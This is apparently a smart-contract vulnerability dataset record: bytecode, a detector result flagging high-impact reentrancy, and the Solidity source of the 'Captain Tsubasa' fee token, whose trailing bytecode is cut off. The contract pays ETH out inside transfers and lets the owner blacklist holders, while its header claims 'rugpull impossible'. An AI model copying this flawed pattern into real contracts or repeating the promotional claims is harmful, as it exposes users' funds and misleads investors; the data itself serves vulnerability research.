162461bcd60e51b81526004016105d990611cb6565b600993909355600b91909155600a55600c55565b600061065b338484610c69565b6013546001600160a01b0316336001600160a01b0316148061096c57506014546001600160a01b0316336001600160a01b0316145b61097557600080fd5b6000610980306107ac565b90506107a98161136a565b6000546001600160a01b031633146109b55760405162461bcd60e51b81526004016105d990611cb6565b60005b82811015610a265781600560008686858181106109d7576109d7611dfd565b90506020020160208101906109ec91906119cb565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a1e81611dcc565b9150506109b8565b50505050565b6000546001600160a01b03163314610a565760405162461bcd60e51b81526004016105d990611cb6565b601855565b6000546001600160a01b03163314610a855760405162461bcd60e51b81526004016105d990611cb6565b6001600160a01b038116610aea5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105d9565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610ba75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105d9565b6001600160a01b038216610c085760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105d9565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ccd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105d9565b6001600160a01b038216610d2f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105d9565b60008111610d915760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105d9565b6000546001600160a01b03848116911614801590610dbd57506000546001600160a01b03838116911614155b1561112057601654600160a01b900460ff16610e56576000546001600160a01b03848116911614610e565760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105d9565b601754811115610ea85760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105d9565b6001600160a01b03831660009081526011602052604090205460ff16158015610eea57506001600160a01b03821660009081526011602052604090205460ff16155b610f425760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105d9565b600854610f50906002611d5c565b4311158015610f6c57506016546001600160a01b038481169116145b8015610f8657506015546001600160a01b03838116911614155b8015610f9b57506001600160a01b0382163014155b15610fc4576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b038381169116146110495760185481610fe6846107ac565b610ff09190611d5c565b106110495760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105d9565b6000611054306107ac565b60195460175491925082101590821061106d5760175491505b8080156110845750601654600160a81b900460ff16155b801561109e57506016546001600160a01b03868116911614155b80156110b35750601654600160b01b900460ff165b80156110d857506001600160a01b03851660009081526005602052604090205460ff16155b80156110fd57506001600160a01b03841660009081526005602052604090205460ff16155b1561111d5761110b8261136a565b47801561111b5761111b47611261565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061116257506001600160a01b03831660009081526005602052604090205460ff165b8061119457506016546001600160a01b0385811691161480159061119457506016546001600160a01b03848116911614155b156111a15750600061121b565b6016546001600160a01b0385811691161480156111cc57506015546001600160a01b03848116911614155b156111de57600954600d55600a54600e555b6016546001600160a01b03848116911614801561120957506015546001600160a01b03858116911614155b1561121b57600b54600d55600c54600e555b610a26848484846114f3565b6000818484111561124b5760405162461bcd60e51b81526004016105d99190611c61565b5060006112588486611db5565b95945050505050565b6013546001600160a01b03166108fc61127b836002611521565b6040518115909202916000818181858888f193505050501580156112a3573d6000803e3d6000fd5b506014546001600160a01b03166108fc6112be836002611521565b6040518115909202916000818181858888f1935050505015801561064a573d6000803e3d6000fd5b600060065482111561134d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105d9565b6000611357611563565b90506113638382611521565b9392505050565b6016805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113b2576113b2611dfd565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561140657600080fd5b505afa15801561141a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061143e91906119e8565b8160018151811061145157611451611dfd565b6001600160a01b0392831660209182029290920101526015546114779130911684610b45565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906114b0908590600090869030904290600401611ceb565b600060405180830381600087803b1580156114ca57600080fd5b505af11580156114de573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b8061150057611500611586565b61150b8484846115b4565b80610a2657610a26600f54600d55601054600e55565b600061136383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116ab565b60008060006115706116d9565b909250905061157f8282611521565b9250505090565b600d541580156115965750600e54155b1561159d57565b600d8054600f55600e805460105560009182905555565b6000806000806000806115c68761171b565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115f89087611778565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461162790866117ba565b6001600160a01b03891660009081526002602052604090205561164981611819565b6116538483611863565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161169891815260200190565b60405180910390a3505050505050505050565b600081836116cc5760405162461bcd60e51b81526004016105d99190611c61565b5060006112588486611d74565b6006546000908190683635c9adc5dea000006116f58282611521565b82101561171257505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006117388a600d54600e54611887565b9250925092506000611748611563565b9050600080600061175b8e8787876118dc565b919e509c509a509598509396509194505050505091939550919395565b600061136383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611227565b6000806117c78385611d5c565b9050838110156113635760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105d9565b6000611823611563565b90506000611831838361192c565b3060009081526002602052604090205490915061184e90826117ba565b30600090815260026020526040902055505050565b6006546118709083611778565b60065560075461188090826117ba565b6007555050565b60008080806118a1606461189b898961192c565b90611521565b905060006118b4606461189b8a8961192c565b905060006118cc826118c68b86611778565b90611778565b9992985090965090945050505050565b60008080806118eb888661192c565b905060006118f9888761192c565b90506000611907888861192c565b90506000611919826118c68686611778565b939b939a50919850919650505050505050565b60008261193b5750600061065f565b60006119478385611d96565b9050826119548583611d74565b146113635760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105d9565b80356119b681611e29565b919050565b803580151581146119b657600080fd5b6000602082840312156119dd57600080fd5b813561136381611e29565b6000602082840312156119fa57600080fd5b815161136381611e29565b60008060408385031215611a1857600080fd5b8235611a2381611e29565b91506020830135611a3381611e29565b809150509250929050565b600080600060608486031215611a5357600080fd5b8335611a5e81611e29565b92506020840135611a6e81611e29565b929592945050506040919091013590565b60008060408385031215611a9257600080fd5b8235611a9d81611e29565b946020939093013593505050565b600080600060408486031215611ac057600080fd5b833567ffffffffffffffff80821115611ad857600080fd5b818601915086601f830112611aec57600080fd5b813581811115611afb57600080fd5b8760208260051b8501011115611b1057600080fd5b602092830195509350611b2691860190506119bb565b90509250925092565b60006020808385031215611b4257600080fd5b823567ffffffffffffffff80821115611b5a57600080fd5b818501915085601f830112611b6e57600080fd5b813581811115611b8057611b80611e13565b8060051b604051601f19603f83011681018181108582111715611ba557611ba5611e13565b604052828152858101935084860182860187018a1015611bc457600080fd5b600095505b83861015611bee57611bda816119ab565b855260019590950194938601938601611bc9565b5098975050505050505050565b600060208284031215611c0d57600080fd5b611363826119bb565b600060208284031215611c2857600080fd5b5035919050565b60008060008060808587031215611c4557600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611c8e57858101830151858201604001528201611c72565b81811115611ca0576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d3b5784516001600160a01b031683529383019391830191600101611d16565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d6f57611d6f611de7565b500190565b600082611d9157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db057611db0611de7565b500290565b600082821015611dc757611dc7611de7565b500390565b6000600019821415611de057611de0611de7565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107a957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220281edebecb666aa6218aa556bd2fff214bb489cd82b878e6948752f1e129418164736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
234
0x89e9fc9676c07F0d7Afdb58bFc1795e61Cf21E13
/* Twitter: https://twitter.com/TsubasaERC Telegram: https://t.me/CaptainTsubasaERC Website: https://captain-tsubasa.io/ Fair launch at 2021-09-26 19:00 UTC. No presale, public or private No dev tokens, no marketing tokens, developers will be compensated by a small fee on each transaction. Trading will be enabled AFTER liquidity lock, rugpull impossible. Total supply = liquidity = 1,000,000,000,000, permanent buy limit = 1,000,000,000, no sell limit. 2% redistribution on every sell 30 seconds cooldown on each buy. */ //SPDX-License-Identifier: Mines™®© pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract CaptainTsubasa is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _previousFeeAddr1 = _feeAddr1; uint256 private _previousFeeAddr2 = _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Captain Tsubasa"; string private constant _symbol = "TSUBASA"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _feeAddrWallet1 = FeeAddress; _feeAddrWallet2 = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(this), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(tradingOpen); require(amount <= 1e9 * 10**9); // Cooldown require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 8; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function openTrading() public onlyOwner { tradingOpen = true; } function removeAllFee() private { if(_feeAddr1 == 0 && _feeAddr2 == 0) return; _previousFeeAddr1 = _feeAddr1; _previousFeeAddr2 = _feeAddr2; _feeAddr1 = 0; _feeAddr2 = 0; } function restoreAllFee() private { _feeAddr1 = _previousFeeAddr1; _feeAddr2 = _previousFeeAddr2; } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063dd62ed3e146103bb578063e8078d94146103f857610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61040f565b60405161013b9190612cc8565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061285a565b61044c565b6040516101789190612cad565b60405180910390f35b34801561018d57600080fd5b5061019661046a565b6040516101a39190612e2a565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061280b565b61047b565b6040516101e09190612cad565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061277d565b610554565b005b34801561021e57600080fd5b50610227610644565b6040516102349190612e9f565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906128d7565b61064d565b005b34801561027257600080fd5b5061027b6106ff565b005b34801561028957600080fd5b506102a4600480360381019061029f919061277d565b610771565b6040516102b19190612e2a565b60405180910390f35b3480156102c657600080fd5b506102cf6107c2565b005b3480156102dd57600080fd5b506102e6610915565b6040516102f39190612bdf565b60405180910390f35b34801561030857600080fd5b5061031161093e565b60405161031e9190612cc8565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061285a565b61097b565b60405161035b9190612cad565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612896565b610999565b005b34801561039957600080fd5b506103a2610ae9565b005b3480156103b057600080fd5b506103b9610b63565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906127cf565b610c15565b6040516103ef9190612e2a565b60405180910390f35b34801561040457600080fd5b5061040d610c9c565b005b60606040518060400160405280600f81526020017f4361707461696e20547375626173610000000000000000000000000000000000815250905090565b60006104606104596111ce565b84846111d6565b6001905092915050565b6000683635c9adc5dea00000905090565b60006104888484846113a1565b610549846104946111ce565b6105448560405180606001604052806028815260200161351160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104fa6111ce565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a789092919063ffffffff16565b6111d6565b600190509392505050565b61055c6111ce565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e090612d8a565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106556111ce565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d990612d8a565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107406111ce565b73ffffffffffffffffffffffffffffffffffffffff161461076057600080fd5b600047905061076e81611adc565b50565b60006107bb600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bd7565b9050919050565b6107ca6111ce565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610857576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084e90612d8a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f5453554241534100000000000000000000000000000000000000000000000000815250905090565b600061098f6109886111ce565b84846113a1565b6001905092915050565b6109a16111ce565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2590612d8a565b60405180910390fd5b60005b8151811015610ae557600160066000848481518110610a79577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610add90613140565b915050610a31565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b2a6111ce565b73ffffffffffffffffffffffffffffffffffffffff1614610b4a57600080fd5b6000610b5530610771565b9050610b6081611c45565b50565b610b6b6111ce565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bef90612d8a565b60405180910390fd5b6001601160146101000a81548160ff021916908315150217905550565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ca46111ce565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2890612d8a565b60405180910390fd5b601160149054906101000a900460ff1615610d81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7890612e0a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e1130601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006111d6565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e5757600080fd5b505afa158015610e6b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e8f91906127a6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ef157600080fd5b505afa158015610f05573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2991906127a6565b6040518363ffffffff1660e01b8152600401610f46929190612bfa565b602060405180830381600087803b158015610f6057600080fd5b505af1158015610f74573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f9891906127a6565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061102130610771565b60008061102c610915565b426040518863ffffffff1660e01b815260040161104e96959493929190612c4c565b6060604051808303818588803b15801561106757600080fd5b505af115801561107b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110a09190612929565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611178929190612c23565b602060405180830381600087803b15801561119257600080fd5b505af11580156111a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ca9190612900565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611246576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123d90612dea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ad90612d2a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113949190612e2a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611411576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140890612dca565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611481576040517f08c379a00000000000000000000000000000000000000000000000000000000081526